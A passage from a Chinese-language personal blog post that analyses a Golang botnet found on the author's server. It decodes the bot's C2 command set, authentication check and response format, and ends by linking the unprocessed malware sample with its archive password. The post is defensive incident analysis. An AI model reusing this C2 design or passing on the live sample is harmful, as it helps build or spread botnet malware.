D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接,可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信(可能用于隐藏 C2 流量)。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信,或者是勒索软件的加密模块。 可推测一些可能的程序逻辑: 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus,这在服务器恶意软件中较少见,可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP,而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法,因为指向阿里云的流量通常会被防火墙视为白名单流量,很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6),可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库(Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert)暗示了它是 计算密集型 的。 如果是勒索软件:这些数学库用于生成密钥加密文件。 如果是挖矿木马:这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64,这符合某些挖矿算法(如 RandomX)的特征。 进一步分析,最终找到了这样一个函数UXTgUQ_stlzy_RraJUM: 丢给AI分析,结论是: 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文,这个函数属于被那个加载器下载并执行的核心木马程序(Bot)。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一,负责接收 C2 服务器发送的指令字符串,解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败,直接返回 "401 Not Auth",说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度,然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值: Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令: I: 调用 os_rename。功能:重命名文件。 E: 调用 os_removeAll。功能:删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能:数据库相关,推测该木马包含 MySQL 爆破或连接模块,此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数(如 sub_7CAF40 等),通常对应:开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分,暴露了木马的核心能力: Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在,它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能,配合你之前看到的 memfd_create,这通常指将 Payload 注入到其他进程或在内存中直接运行,不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的,可以动态加载 .so 或 Go 的 plugin 模块来扩展功能(如加密货币挖矿、DDoS 攻击、端口扫描等)。 3. 响应构造逻辑 在 switch 结束后,代码有一段复杂的字符串拼接逻辑: *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果(如“OK”、“Error”或具体数据)用特定的分隔符(如 |<result>-)包裹后回传给 C2。 4. 总结与画像 结合上一段代码(Loader),我们可以对这个木马做一个完整的画像: 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格,以及 Golang 编写、支持模块化插件的特征,极有可能是 Spark 僵尸网络或者其变种(如 Sliver C2 修改版,但更像黑产自研的 Bot)。也有可能是 Sysrv-hello 挖矿蠕虫的变种(它们常混合使用 Go 和 Exploit)。 攻击链条: Loader: 也就是之前的那个 C 代码,负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序,常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力,通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了,这个逻辑基本上可以判定是典型的Botnet,找到的IP有99%的概率都是被操控的僵尸机,去调查也没有意义。 主要还是总结一下教训,如何防止这类事情发生,对于我这种小规模的个人网站,爆出CVE最好立刻先停用有关一切服务,等确定修复的版本放出后再更新并重新启用 样本下载: Payload.zip 注:此样本未经任何处理,请勿在不加安全措施的情况下直接运行! 密码20251206
2025年12月06日
253 阅读
2 评论
5 点赞